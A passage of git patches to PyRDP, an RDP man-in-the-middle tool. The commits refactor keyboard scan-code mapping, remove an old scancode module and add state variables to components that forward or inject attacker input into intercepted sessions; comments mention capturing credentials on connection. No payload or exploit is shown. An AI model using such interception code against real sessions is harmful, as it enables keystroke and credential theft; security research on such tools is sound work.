= keyboard.getKeyName(scanCode, isExtended, self.shiftPressed, self.capsLockOn) - if code in [0x2A, 0x36]: - self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("\n" if isPressed else "\n") - self.writeInCaps = not self.writeInCaps - elif code == 0x3A and isPressed: + self.text.moveCursor(QTextCursor.End) + + if len(keyName) == 1: + if not isReleased: + self.text.insertPlainText(keyName) + else: + self.text.insertPlainText(f"\n<{keyName} {'released' if isReleased else 'pressed'}>") + + self.text.moveCursor(QTextCursor.End) + + # Left or right shift + if scanCode in [0x2A, 0x36]: self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText("\n") - self.writeInCaps = not self.writeInCaps - elif isPressed: - char = scancodeToChar(code) + self.shiftPressed = not isReleased + + # Caps lock + elif scanCode == 0x3A and not isReleased: self.text.moveCursor(QTextCursor.End) - self.text.insertPlainText(char if self.writeInCaps else char.lower()) + self.capsLockOn = not self.capsLockOn + def onUnicode(self, event: FastPathUnicodeEvent): self.text.moveCursor(QTextCursor.End) self.text.insertPlainText(str(event.text)) + def onMouse(self, event: FastPathMouseEvent): + self.onMousePosition(event.mouseX, event.mouseY) + def onMousePosition(self, x: int, y: int): self.viewer.setMousePosition(x, y) @@ -141,7 +157,7 @@ def onSlowPathPDU(self, pdu: PlayerPDU): if isinstance(event, MouseEvent): self.onMousePosition(event.x, event.y) elif isinstance(event, KeyboardEvent): - self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN != 0) + self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN == 0, event.flags & KeyboardFlag.KBDFLAGS_EXTENDED != 0) def onClipboardData(self, pdu: PlayerPDU): formatDataResponsePDU: FormatDataResponsePDU = self.clipboardParser.parse(pdu.payload) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 0e59e4cbf..c98adbfc4 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -12,6 +12,8 @@ from pyrdp.layer import PlayerLayer from pyrdp.logging import LOGGER_NAMES from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerTextPDU +from pyrdp.player import keyboard +from pyrdp.player.keyboard import isRightControl from pyrdp.player.Sequencer import Sequencer from pyrdp.ui import QRemoteDesktop @@ -21,172 +23,8 @@ class RDPMITMWidget(QRemoteDesktop): RDP Widget that handles mouse and keyboard events and sends them to the MITM server. """ - SCANCODE_MAPPING = { - Qt.Key.Key_Escape: 0x01, - Qt.Key.Key_1: 0x02, - Qt.Key.Key_Exclam: 0x02, - Qt.Key.Key_2: 0x03, - Qt.Key.Key_At: 0x03, - Qt.Key.Key_3: 0x04, - Qt.Key.Key_NumberSign: 0x04, - Qt.Key.Key_4: 0x05, - Qt.Key.Key_Dollar: 0x05, - Qt.Key.Key_5: 0x06, - Qt.Key.Key_Percent: 0x06, - Qt.Key.Key_6: 0x07, - Qt.Key.Key_AsciiCircum: 0x07, - Qt.Key.Key_7: 0x08, - Qt.Key.Key_Ampersand: 0x08, - Qt.Key.Key_8: 0x09, - Qt.Key.Key_Asterisk: 0x09, - Qt.Key.Key_9: 0x0A, - Qt.Key.Key_ParenLeft: 0x0A, - Qt.Key.Key_0: 0x0B, - Qt.Key.Key_ParenRight: 0x0B, - Qt.Key.Key_Minus: 0x0C, - Qt.Key.Key_Underscore: 0x0C, - Qt.Key.Key_Equal: 0x0D, - Qt.Key.Key_Plus: 0x0D, - Qt.Key.Key_Backspace: 0x0E, - Qt.Key.Key_Tab: 0x0F, - Qt.Key.Key_Q: 0x10, - Qt.Key.Key_W: 0x11, - Qt.Key.Key_E: 0x12, - Qt.Key.Key_R: 0x13, - Qt.Key.Key_T: 0x14, - Qt.Key.Key_Y: 0x15, - Qt.Key.Key_U: 0x16, - Qt.Key.Key_I: 0x17, - Qt.Key.Key_O: 0x18, - Qt.Key.Key_P: 0x19, - Qt.Key.Key_BracketLeft: 0x1A, - Qt.Key.Key_BraceLeft: 0x1A, - Qt.Key.Key_BracketRight: 0x1B, - Qt.Key.Key_BraceRight: 0x1B, - Qt.Key.Key_Return: 0x1C, - Qt.Key.Key_Control: 0x1D, - Qt.Key.Key_A: 0x1E, - Qt.Key.Key_S: 0x1F, - Qt.Key.Key_D: 0x20, - Qt.Key.Key_F: 0x21, - Qt.Key.Key_G: 0x22, - Qt.Key.Key_H: 0x23, - Qt.Key.Key_J: 0x24, - Qt.Key.Key_K: 0x25, - Qt.Key.Key_L: 0x26, - Qt.Key.Key_Semicolon: 0x27, - Qt.Key.Key_Colon: 0x27, - Qt.Key.Key_Apostrophe: 0x28, - Qt.Key.Key_QuoteDbl: 0x28, - Qt.Key.Key_QuoteLeft: 0x29, - Qt.Key.Key_AsciiTilde: 0x29, - Qt.Key.Key_Shift: 0x2A, - Qt.Key.Key_Backslash: 0x2B, - Qt.Key.Key_Bar: 0x2B, - Qt.Key.Key_Z: 0x2C, - Qt.Key.Key_X: 0x2D, - Qt.Key.Key_C: 0x2E, - Qt.Key.Key_V: 0x2F, - Qt.Key.Key_B: 0x30, - Qt.Key.Key_N: 0x31, - Qt.Key.Key_M: 0x32, - Qt.Key.Key_Comma: 0x33, - Qt.Key.Key_Less: 0x33, - Qt.Key.Key_Period: 0x34, - Qt.Key.Key_Greater: 0x34, - Qt.Key.Key_Slash: 0x35, - Qt.Key.Key_Question: 0x35, - Qt.Key.Key_Print: 0x37, - Qt.Key.Key_Alt: 0x38, - Qt.Key.Key_AltGr: 0x38, - Qt.Key.Key_Space: 0x39, - Qt.Key.Key_CapsLock: 0x3A, - Qt.Key.Key_F1: 0x3B, - Qt.Key.Key_F2: 0x3C, - Qt.Key.Key_F3: 0x3D, - Qt.Key.Key_F4: 0x3E, - Qt.Key.Key_F5: 0x3F, - Qt.Key.Key_F6: 0x40, - Qt.Key.Key_F7: 0x41, - Qt.Key.Key_F8: 0x42, - Qt.Key.Key_F9: 0x43, - Qt.Key.Key_F10: 0x44, - Qt.Key.Key_NumLock: 0x45, - Qt.Key.Key_ScrollLock: 0x46, - Qt.Key.Key_Home: 0x47, - Qt.Key.Key_Up: 0x48, - Qt.Key.Key_PageUp: 0x49, - Qt.Key.Key_Left: 0x4B, - Qt.Key.Key_Right: 0x4D, - Qt.Key.Key_End: 0x4F, - Qt.Key.Key_Down: 0x50, - Qt.Key.Key_PageDown: 0x51, - Qt.Key.Key_Insert: 0x52, - Qt.Key.Key_Delete: 0x53, - Qt.Key.Key_SysReq: 0x54, - Qt.Key.Key_F11: 0x57, - Qt.Key.Key_F12: 0x58, - Qt.Key.Key_Meta: 0x5B, - Qt.Key.Key_Menu: 0x5D, - Qt.Key.Key_Sleep: 0x5F, - Qt.Key.Key_Zoom: 0x62, - Qt.Key.Key_Help: 0x63, - Qt.Key.Key_F13: 0x64, - Qt.Key.Key_F14: 0x65, - Qt.Key.Key_F15: 0x66, - Qt.Key.Key_F16: 0x67, - Qt.Key.Key_F17: 0x68, - Qt.Key.Key_F18: 0x69, - Qt.Key.Key_F19: 0x6A, - Qt.Key.Key_F20: 0x6B, - Qt.Key.Key_F21: 0x6C, - Qt.Key.Key_F22: 0x6D, - Qt.Key.Key_F23: 0x6E, - Qt.Key.Key_F24: 0x6F, - Qt.Key.Key_Hiragana: 0x70, - Qt.Key.Key_Kanji: 0x71, - Qt.Key.Key_Hangul: 0x72, - } - - SCANCODE_MAPPING_NUMPAD = { - Qt.Key.Key_Enter: 0x1C, - Qt.Key.Key_Slash: 0x35, - Qt.Key.Key_Asterisk: 0x37, - Qt.Key.Key_7: 0x47, - Qt.Key.Key_8: 0x48, - Qt.Key.Key_9: 0x49, - Qt.Key.Key_Minus: 0x4A, - Qt.Key.Key_4: 0x4B, - Qt.Key.Key_5: 0x4C, - Qt.Key.Key_6: 0x4D, - Qt.Key.Key_Plus: 0x4E, - Qt.Key.Key_1: 0x4F, - Qt.Key.Key_2: 0x50, - Qt.Key.Key_3: 0x51, - Qt.Key.Key_0: 0x52, - Qt.Key.Key_Period: 0x53, - } - - EXTENDED_KEYS = [ - Qt.Key.Key_Meta, - Qt.Key.Key_AltGr, - Qt.Key.Key_PageUp, - Qt.Key.Key_PageDown, - Qt.Key.Key_Insert, - Qt.Key.Key_Delete, - Qt.Key.Key_Home, - Qt.Key.Key_End, - Qt.Key.Key_Print, - Qt.Key.Key_Left, - Qt.Key.Key_Right, - Qt.Key.Key_Up, - Qt.Key.Key_Down, - Qt.Key.Key_Menu, - ] - KEY_SEQUENCE_DELAY = 0 - def __init__(self, width: int, height: int, layer: PlayerLayer, parent: Optional[QWidget] = None): super().__init__(width, height, parent = parent) self.layer = layer @@ -234,6 +72,7 @@ def handleMouseButton(self, event: QMouseEvent, pressed: bool): pdu = PlayerMouseButtonPDU(self.getTimetamp(), x, y, mapping[button], pressed) self.layer.sendPDU(pdu) + def wheelEvent(self, event: QWheelEvent): x, y = self.getMousePosition(event) delta = event.delta() @@ -253,20 +92,9 @@ def eventFilter(self, obj: QObject, event: QEvent) -> bool: return QObject.eventFilter(self, obj, event) - def findScanCodeForEvent(self, event: QKeyEvent) -> Optional[int]: - if event.modifiers() & Qt.KeypadModifier != 0: - mapping = RDPMITMWidget.SCANCODE_MAPPING_NUMPAD - else: - mapping = RDPMITMWidget.SCANCODE_MAPPING - - key = event.key() - return mapping.get(key, None) - - def isRightControl(self, event: QKeyEvent): - return event.key() == Qt.Key.Key_Control and event.nativeScanCode() > 50 def keyPressEvent(self, event: QKeyEvent): - if not self.isRightControl(event): + if not isRightControl(event): self.handleKeyEvent(event, False) else: self.clearFocus() @@ -281,23 +109,24 @@ def handleKeyEvent(self, event: QKeyEvent, released: bool): else: offset = 0 - scanCode = self.findScanCodeForEvent(event) or event.nativeScanCode() + offset - pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, released, event.key() in RDPMITMWidget.EXTENDED_KEYS) + scanCode = keyboard.findScanCodeForEvent(event) or event.nativeScanCode() + offset + pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, released, event.key() in keyboard.EXTENDED_KEYS) self.layer.sendPDU(pdu) + def sendKeySequence(self, keys: [Qt.Key]): pressPDUs = [] releasePDUs = [] for key in keys: - scanCode = RDPMITMWidget.SCANCODE_MAPPING[key] - isExtended = key in RDPMITMWidget.EXTENDED_KEYS + scanCode = keyboard.SCANCODE_MAPPING[key] + isExtended = key in keyboard.EXTENDED_KEYS - pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, False, isExtended) - pressPDUs.append(pdu) + pressPDU = PlayerKeyboardPDU(self.getTimetamp(), scanCode, False, isExtended) + pressPDUs.append(pressPDU) - pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, True, isExtended) - releasePDUs.append(pdu) + releasePDU = PlayerKeyboardPDU(self.getTimetamp(), scanCode, True, isExtended) + releasePDUs.append(releasePDU) def press() -> int: for pdu in pressPDUs: @@ -312,10 +141,11 @@ def release(): sequencer = Sequencer([press, release]) sequencer.run() + def sendText(self, text: str): functions = [] - def pressCharacter(character: str): + def pressCharacter(character: str) -> int: pdu = PlayerTextPDU(self.getTimetamp(), character, False) print(c) self.layer.sendPDU(pdu) diff --git a/pyrdp/player/keyboard.py b/pyrdp/player/keyboard.py new file mode 100644 index 000000000..5d6d942c6 --- /dev/null +++ b/pyrdp/player/keyboard.py @@ -0,0 +1,247 @@ +from typing import Optional + +from PySide2.QtCore import Qt +from PySide2.QtGui import QKeyEvent + +SCANCODE_MAPPING = { + Qt.Key.Key_Escape: 0x01, + Qt.Key.Key_1: 0x02, + Qt.Key.Key_Exclam: 0x02, + Qt.Key.Key_2: 0x03, + Qt.Key.Key_At: 0x03, + Qt.Key.Key_3: 0x04, + Qt.Key.Key_NumberSign: 0x04, + Qt.Key.Key_4: 0x05, + Qt.Key.Key_Dollar: 0x05, + Qt.Key.Key_5: 0x06, + Qt.Key.Key_Percent: 0x06, + Qt.Key.Key_6: 0x07, + Qt.Key.Key_AsciiCircum: 0x07, + Qt.Key.Key_7: 0x08, + Qt.Key.Key_Ampersand: 0x08, + Qt.Key.Key_8: 0x09, + Qt.Key.Key_Asterisk: 0x09, + Qt.Key.Key_9: 0x0A, + Qt.Key.Key_ParenLeft: 0x0A, + Qt.Key.Key_0: 0x0B, + Qt.Key.Key_ParenRight: 0x0B, + Qt.Key.Key_Minus: 0x0C, + Qt.Key.Key_Underscore: 0x0C, + Qt.Key.Key_Equal: 0x0D, + Qt.Key.Key_Plus: 0x0D, + Qt.Key.Key_Backspace: 0x0E, + Qt.Key.Key_Tab: 0x0F, + Qt.Key.Key_Q: 0x10, + Qt.Key.Key_W: 0x11, + Qt.Key.Key_E: 0x12, + Qt.Key.Key_R: 0x13, + Qt.Key.Key_T: 0x14, + Qt.Key.Key_Y: 0x15, + Qt.Key.Key_U: 0x16, + Qt.Key.Key_I: 0x17, + Qt.Key.Key_O: 0x18, + Qt.Key.Key_P: 0x19, + Qt.Key.Key_BracketLeft: 0x1A, + Qt.Key.Key_BraceLeft: 0x1A, + Qt.Key.Key_BracketRight: 0x1B, + Qt.Key.Key_BraceRight: 0x1B, + Qt.Key.Key_Return: 0x1C, + Qt.Key.Key_Control: 0x1D, + Qt.Key.Key_A: 0x1E, + Qt.Key.Key_S: 0x1F, + Qt.Key.Key_D: 0x20, + Qt.Key.Key_F: 0x21, + Qt.Key.Key_G: 0x22, + Qt.Key.Key_H: 0x23, + Qt.Key.Key_J: 0x24, + Qt.Key.Key_K: 0x25, + Qt.Key.Key_L: 0x26, + Qt.Key.Key_Semicolon: 0x27, + Qt.Key.Key_Colon: 0x27, + Qt.Key.Key_Apostrophe: 0x28, + Qt.Key.Key_QuoteDbl: 0x28, + Qt.Key.Key_QuoteLeft: 0x29, + Qt.Key.Key_AsciiTilde: 0x29, + Qt.Key.Key_Shift: 0x2A, + Qt.Key.Key_Backslash: 0x2B, + Qt.Key.Key_Bar: 0x2B, + Qt.Key.Key_Z: 0x2C, + Qt.Key.Key_X: 0x2D, + Qt.Key.Key_C: 0x2E, + Qt.Key.Key_V: 0x2F, + Qt.Key.Key_B: 0x30, + Qt.Key.Key_N: 0x31, + Qt.Key.Key_M: 0x32, + Qt.Key.Key_Comma: 0x33, + Qt.Key.Key_Less: 0x33, + Qt.Key.Key_Period: 0x34, + Qt.Key.Key_Greater: 0x34, + Qt.Key.Key_Slash: 0x35, + Qt.Key.Key_Question: 0x35, + Qt.Key.Key_Alt: 0x38, + Qt.Key.Key_AltGr: 0x38, + Qt.Key.Key_Space: 0x39, + Qt.Key.Key_CapsLock: 0x3A, + Qt.Key.Key_F1: 0x3B, + Qt.Key.Key_F2: 0x3C, + Qt.Key.Key_F3: 0x3D, + Qt.Key.Key_F4: 0x3E, + Qt.Key.Key_F5: 0x3F, + Qt.Key.Key_F6: 0x40, + Qt.Key.Key_F7: 0x41, + Qt.Key.Key_F8: 0x42, + Qt.Key.Key_F9: 0x43, + Qt.Key.Key_F10: 0x44, + Qt.Key.Key_NumLock: 0x45, + Qt.Key.Key_ScrollLock: 0x46, + Qt.Key.Key_Home: 0x47, + Qt.Key.Key_Up: 0x48, + Qt.Key.Key_PageUp: 0x49, + Qt.Key.Key_Left: 0x4B, + Qt.Key.Key_Right: 0x4D, + Qt.Key.Key_End: 0x4F, + Qt.Key.Key_Down: 0x50, + Qt.Key.Key_PageDown: 0x51, + Qt.Key.Key_Insert: 0x52, + Qt.Key.Key_Delete: 0x53, + Qt.Key.Key_SysReq: 0x54, + Qt.Key.Key_F11: 0x57, + Qt.Key.Key_F12: 0x58, + Qt.Key.Key_Meta: 0x5B, + Qt.Key.Key_Menu: 0x5D, + Qt.Key.Key_Sleep: 0x5F, + Qt.Key.Key_Zoom: 0x62, + Qt.Key.Key_Help: 0x63, + Qt.Key.Key_F13: 0x64, + Qt.Key.Key_F14: 0x65, + Qt.Key.Key_F15: 0x66, + Qt.Key.Key_F16: 0x67, + Qt.Key.Key_F17: 0x68, + Qt.Key.Key_F18: 0x69, + Qt.Key.Key_F19: 0x6A, + Qt.Key.Key_F20: 0x6B, + Qt.Key.Key_F21: 0x6C, + Qt.Key.Key_F22: 0x6D, + Qt.Key.Key_F23: 0x6E, + Qt.Key.Key_F24: 0x6F, + Qt.Key.Key_Hiragana: 0x70, + Qt.Key.Key_Kanji: 0x71, + Qt.Key.Key_Hangul: 0x72, +} + +SCANCODE_MAPPING_NUMPAD = { + Qt.Key.Key_Enter: 0x1C, + Qt.Key.Key_Slash: 0x35, + Qt.Key.Key_Asterisk: 0x37, + Qt.Key.Key_7: 0x47, + Qt.Key.Key_8: 0x48, + Qt.Key.Key_9: 0x49, + Qt.Key.Key_Minus: 0x4A, + Qt.Key.Key_4: 0x4B, + Qt.Key.Key_5: 0x4C, + Qt.Key.Key_6: 0x4D, + Qt.Key.Key_Plus: 0x4E, + Qt.Key.Key_1: 0x4F, + Qt.Key.Key_2: 0x50, + Qt.Key.Key_3: 0x51, + Qt.Key.Key_0: 0x52, + Qt.Key.Key_Period: 0x53, + Qt.Key.Key_Meta: 0x5C, +} + +EXTENDED_KEYS = [ + Qt.Key.Key_Meta, + Qt.Key.Key_AltGr, + Qt.Key.Key_PageUp, + Qt.Key.Key_PageDown, + Qt.Key.Key_Insert, + Qt.Key.Key_Delete, + Qt.Key.Key_Home, + Qt.Key.Key_End, + Qt.Key.Key_Print, + Qt.Key.Key_Left, + Qt.Key.Key_Right, + Qt.Key.Key_Up, + Qt.Key.Key_Down, + Qt.Key.Key_Menu, +] + + +def findScanCodeForEvent(event: QKeyEvent) -> Optional[int]: + if event.modifiers() & Qt.KeypadModifier != 0: + mapping = SCANCODE_MAPPING_NUMPAD + else: + mapping = SCANCODE_MAPPING + + key = event.key() + return mapping.get(key, None) + + +def findKeyForScanCode(scanCode: int) -> Optional[Qt.Key]: + # Right shift + if scanCode == 0x36: + return Qt.Key.Key_Shift + + # Right Windows + elif scanCode == 0x5c: + return Qt.Key.Key_Meta + + for mapping in [SCANCODE_MAPPING, SCANCODE_MAPPING_NUMPAD]: + for k, v in mapping.items(): + if v == scanCode and k not in EXTENDED_KEYS: + return k + + return None + + +def getKeyName(scanCode: int, isExtended: bool, shiftPressed: bool, capsLockOn: bool) -> str: + if not isExtended: + key = findKeyForScanCode(scanCode) + elif scanCode == SCANCODE_MAPPING[Qt.Key.Key_Control]: + key = Qt.Key.Key_Control + # Numpad slash + elif scanCode == 0x35: + key = Qt.Key.Key_Slash + else: + key = None + + for extendedKey in EXTENDED_KEYS: + if extendedKey in SCANCODE_MAPPING and SCANCODE_MAPPING[extendedKey] == scanCode: + key = extendedKey + break + elif extendedKey in SCANCODE_MAPPING_NUMPAD and SCANCODE_MAPPING_NUMPAD[extendedKey] == scanCode: + key = extendedKey + break + + if key is None: + return f"Unknown scan code {hex(scanCode)}" + + if key < 0x1000000: + name = chr(key) + + if name.isalpha(): + return name.upper() if shiftPressed or capsLockOn else name.lower() + else: + key = shiftKey(key) if shiftPressed else key + return chr(key) + + elif key == Qt.Key.Key_Meta: + return "Windows" + + enumName = str(key) + return " ".join(enumName.split("_")[1 :]) + + +def shiftKey(key: Qt.Key) -> Qt.Key: + if key in SCANCODE_MAPPING: + code = SCANCODE_MAPPING[key] + + for k, v in SCANCODE_MAPPING.items(): + if v == code and k != key: + return k + + return key + + +def isRightControl(event: QKeyEvent) -> bool: + return event.key() == Qt.Key.Key_Control and event.nativeScanCode() > 50 \ No newline at end of file From 53969e7cc8d531b8a8842dea6758b1345289b0c6 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 28 Mar 2019 18:10:12 -0400 Subject: [PATCH 028/113] Remove core/scancode.py --- pyrdp/core/scancode.py | 149 ----------------------------------------- 1 file changed, 149 deletions(-) delete mode 100644 pyrdp/core/scancode.py diff --git a/pyrdp/core/scancode.py b/pyrdp/core/scancode.py deleted file mode 100644 index 7f2929eab..000000000 --- a/pyrdp/core/scancode.py +++ /dev/null @@ -1,149 +0,0 @@ -# -# Copyright (c) 2014-2015 Sylvain Peyrefitte -# -# This file is part of rdpy. -# -# rdpy is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -# - -""" -Basic virtual scancode mapping -""" - -_SCANCODE_QWERTY_ = { - 0x00: "<00UNKNOWN>\n", - 0x01: "\n", - 0x02: "1", - 0x03: "2", - 0x04: "3", - 0x05: "4", - 0x06: "5", - 0x07: "6", - 0x08: "7", - 0x09: "8", - 0x0A: "9", - 0x0B: "0", - 0x0C: "-", - 0x0D: "+", - 0x0E: "\n", - 0x0F: "\n", - 0x10: "Q", - 0x11: "W", - 0x12: "E", - 0x13: "R", - 0x14: "T", - 0x15: "Y", - 0x16: "U", - 0x17: "I", - 0x18: "O", - 0x19: "P", - 0x1A: "4", - 0x1B: "6", - 0x1C: "\n", - 0x1D: "\n", - 0x1E: "A", - 0x1F: "S", - 0x20: "D", - 0x21: "F", - 0x22: "G", - 0x23: "H", - 0x24: "J", - 0x25: "K", - 0x26: "L", - 0x27: "1", - 0x28: "7", - 0x29: "3", - 0x2A: "\n", - 0x2B: "5", - 0x2C: "Z", - 0x2D: "X", - 0x2E: "C", - 0x2F: "V", - 0x30: "B", - 0x31: "N", - 0x32: "M", - 0x33: ",", - 0x34: ".", - 0x35: "2", - 0x36: "\n", - 0x37: "*", - 0x38: "\n", - 0x39: " ", - 0x3A: "\n", - 0x3B: "\n", - 0x3C: "\n", - 0x3D: "\n", - 0x3E: "\n", - 0x3F: "\n", - 0x40: "\n", - 0x41: "\n", - 0x42: "\n", - 0x43: "\n", - 0x44: "\n", - 0x45: "\n", - 0x46: "\n", - 0x47: "\n", - 0x48: "\n", - 0x49: "\n", - 0x4A: "-", - 0x4B: "\n", - 0x4C: "\n", - 0x4D: "\n", - 0x4E: "+", - 0x4F: "\n", - 0x50: "\n", - 0x51: "\n", - 0x52: "\n", - 0x53: ".", - 0x54: "\n", - 0x56: "\n", - 0x57: "\n", - 0x58: "\n", - 0x5b: "\n", - 0x5F: "\n", - 0x62: "\n", - 0x63: "\n", - 0x64: "\n", - 0x65: "\n", - 0x66: "\n", - 0x67: "\n", - 0x68: "\n", - 0x69: "\n", - 0x6A: "\n", - 0x6B: "\n", - 0x6C: "\n", - 0x6D: "\n", - 0x6E: "\n", - 0x6F: "\n", - 0x70: "\n", - 0x71: "\n", - 0x72: "\n", - 0x73: "\n", - 0x76: "\n", - 0x79: "\n", - 0x7B: "\n", - 0x7C: "\n", - 0x7D: "\n", - 0x7E: "\n", -} - - -def scancodeToChar(code): - """ - @summary: try to convert native code to char code - @return: char - """ - if code not in _SCANCODE_QWERTY_: - return ""%code - return _SCANCODE_QWERTY_[code] \ No newline at end of file From b4291efd90ed7be0ac59e644657671ab6d5ec977 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 28 Mar 2019 18:13:46 -0400 Subject: [PATCH 029/113] scancode -> scanCode --- pyrdp/enum/player.py | 2 +- pyrdp/parser/rdp/fastpath.py | 6 +++--- pyrdp/pdu/rdp/fastpath.py | 4 ++-- pyrdp/player/PlayerHandler.py | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index c015569cf..fb9c93d5d 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -6,7 +6,7 @@ class PlayerPDUType(IntEnum): Types of events that we can encounter when replaying a RDP connection. """ - FAST_PATH_INPUT = 1 # Ex: scancode, mouse + FAST_PATH_INPUT = 1 # Ex: scan codes, mouse, etc. FAST_PATH_OUTPUT = 2 # Ex: image CLIENT_INFO = 3 # Creds on connection SLOW_PATH_PDU = 4 # For slow-path PDUs diff --git a/pyrdp/parser/rdp/fastpath.py b/pyrdp/parser/rdp/fastpath.py index 3f1207edc..02cbc20a6 100644 --- a/pyrdp/parser/rdp/fastpath.py +++ b/pyrdp/parser/rdp/fastpath.py @@ -270,8 +270,8 @@ def parse(self, data: bytes) -> FastPathEvent: def parseScanCodeEvent(self, eventFlags: int, eventHeader: int, stream: BytesIO) -> FastPathScanCodeEvent: - scancode = Uint8.unpack(stream.read(1)) - return FastPathScanCodeEvent(eventHeader, scancode, eventFlags & 1 != 0) + scanCode = Uint8.unpack(stream.read(1)) + return FastPathScanCodeEvent(eventHeader, scanCode, eventFlags & 1 != 0) def parseMouseEvent(self, eventHeader: int, stream: BytesIO) -> FastPathMouseEvent: @@ -309,7 +309,7 @@ def write(self, event: FastPathEvent) -> bytes: def writeScanCodeEvent(self, event: FastPathScanCodeEvent) -> bytes: stream = BytesIO() Uint8.pack(event.rawHeaderByte | int(event.isReleased), stream) - Uint8.pack(event.scancode, stream) + Uint8.pack(event.scanCode, stream) return stream.getvalue() diff --git a/pyrdp/pdu/rdp/fastpath.py b/pyrdp/pdu/rdp/fastpath.py index cef022648..684623173 100644 --- a/pyrdp/pdu/rdp/fastpath.py +++ b/pyrdp/pdu/rdp/fastpath.py @@ -58,10 +58,10 @@ def __init__(self, header: int, compressionFlags: Optional[int], payload: bytes class FastPathScanCodeEvent(FastPathInputEvent): - def __init__(self, rawHeaderByte: int, scancode: int, isReleased: bool): + def __init__(self, rawHeaderByte: int, scanCode: int, isReleased: bool): super().__init__() self.rawHeaderByte = rawHeaderByte - self.scancode = scancode + self.scanCode = scanCode self.isReleased = isReleased diff --git a/pyrdp/player/PlayerHandler.py b/pyrdp/player/PlayerHandler.py index 765231662..16a064873 100644 --- a/pyrdp/player/PlayerHandler.py +++ b/pyrdp/player/PlayerHandler.py @@ -75,7 +75,7 @@ def onInput(self, pdu: PlayerPDU): for event in pdu.events: if isinstance(event, FastPathScanCodeEvent): log.debug("handling %(arg1)s", {"arg1": event}) - self.onScanCode(event.scancode, event.isReleased, event.rawHeaderByte & 2 != 0) + self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) elif isinstance(event, FastPathUnicodeEvent): if not event.released: self.onUnicode(event) From c08efa2755b031f68a71af084a9621c547e14e18 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 28 Mar 2019 18:15:27 -0400 Subject: [PATCH 030/113] Regain focus after sending key sequences and text --- pyrdp/player/RDPMITMWidget.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index c98adbfc4..074cad838 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -115,6 +115,8 @@ def handleKeyEvent(self, event: QKeyEvent, released: bool): def sendKeySequence(self, keys: [Qt.Key]): + self.setFocus() + pressPDUs = [] releasePDUs = [] @@ -143,6 +145,8 @@ def release(): def sendText(self, text: str): + self.setFocus() + functions = [] def pressCharacter(character: str) -> int: From e50bd621ca8a0cfff6fed76298b07cffa79fbd81 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Fri, 29 Mar 2019 14:46:09 -0400 Subject: [PATCH 031/113] Add state variables to check for input/output forwarding --- pyrdp/mitm/AttackerMITM.py | 4 +++- pyrdp/mitm/FastPathMITM.py | 10 +++++++--- pyrdp/mitm/SlowPathMITM.py | 12 +++++++++--- pyrdp/mitm/mitm.py | 6 +++--- pyrdp/mitm/state.py | 6 ++++++ 5 files changed, 28 insertions(+), 10 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index fbb82ac73..76c549169 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -8,6 +8,7 @@ from pyrdp.enum import FastPathInputType, MouseButton, PlayerPDUType, PointerFlag from pyrdp.layer import FastPathLayer, PlayerLayer +from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import FastPathInputEvent, FastPathMouseEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, \ PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU from pyrdp.recording import Recorder @@ -19,7 +20,7 @@ class AttackerMITM: received to the format expected by RDP. """ - def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdapter, recorder: Recorder): + def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdapter, state: RDPMITMState, recorder: Recorder): """ :param server: fast-path layer for the server side :param attacker: player layer for the attacker side @@ -30,6 +31,7 @@ def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdap self.server = server self.attacker = attacker self.log = log + self.state = state self.recorder = recorder self.attacker.createObserver( diff --git a/pyrdp/mitm/FastPathMITM.py b/pyrdp/mitm/FastPathMITM.py index 311c6a9b0..7d6ac7205 100644 --- a/pyrdp/mitm/FastPathMITM.py +++ b/pyrdp/mitm/FastPathMITM.py @@ -5,6 +5,7 @@ # from pyrdp.layer import FastPathLayer +from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import FastPathPDU @@ -13,7 +14,7 @@ class FastPathMITM: MITM component for the fast-path layer. """ - def __init__(self, client: FastPathLayer, server: FastPathLayer): + def __init__(self, client: FastPathLayer, server: FastPathLayer, state: RDPMITMState): """ :param client: fast-path layer for the client side :param server: fast-path layer for the server side @@ -21,6 +22,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer): self.client = client 